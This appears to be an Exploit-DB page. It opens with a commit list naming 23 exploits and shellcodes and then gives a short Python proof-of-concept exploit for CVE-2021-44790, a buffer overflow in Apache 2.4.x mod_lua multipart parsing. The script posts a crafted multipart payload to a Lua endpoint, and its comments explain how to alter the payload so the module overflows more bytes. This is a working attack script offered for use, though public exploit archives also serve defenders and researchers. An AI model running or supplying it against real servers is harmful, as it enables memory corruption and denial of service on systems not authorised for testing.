3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
34 lines
No EOL
1.2 KiB
Python
Executable file
34 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: Apache 2.4.x - Buffer Overflow
|
|
# Date: Jan 2 2023
|
|
# Exploit Author: Sunil Iyengar
|
|
# Vendor Homepage: https://httpd.apache.org/
|
|
# Software Link: https://archive.apache.org/dist/httpd/
|
|
# Version: Any version less than 2.4.51. Tested on 2.4.50 and 2.4.51
|
|
# Tested on: (Server) Kali, (Client) MacOS Monterey
|
|
# CVE : CVE-2021-44790
|
|
|
|
|
|
import requests
|
|
|
|
#Example "http(s)://<hostname>/process.lua"
|
|
url = "http(s)://<hostname>/<luafile>"
|
|
|
|
payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n0\r\n4\r\n"
|
|
headers = {
|
|
'Content-Type': 'multipart/form-data; boundary=4'
|
|
}
|
|
|
|
#Note1: The value for boundary=4, in the above example, is arbitrary. It can be anything else like 1.
|
|
# But this has to match with the values in Payload.
|
|
|
|
#Note2: The form data as shown above returns the response as "memory allocation error: block too big".
|
|
# But one can change the payload to name=\"name\"\r\n\r\n\r\n4\r\n" and not get the error but on the lua module overflows
|
|
# 3 more bytes during memset
|
|
|
|
response = requests.request("POST", url, headers=headers, data=payload)
|
|
|
|
print(response.text)
|
|
|
|
#Response returned is
|
|
#<h3>Error!</h3>
|
|
#<pre>memory allocation error: block too big</pre> |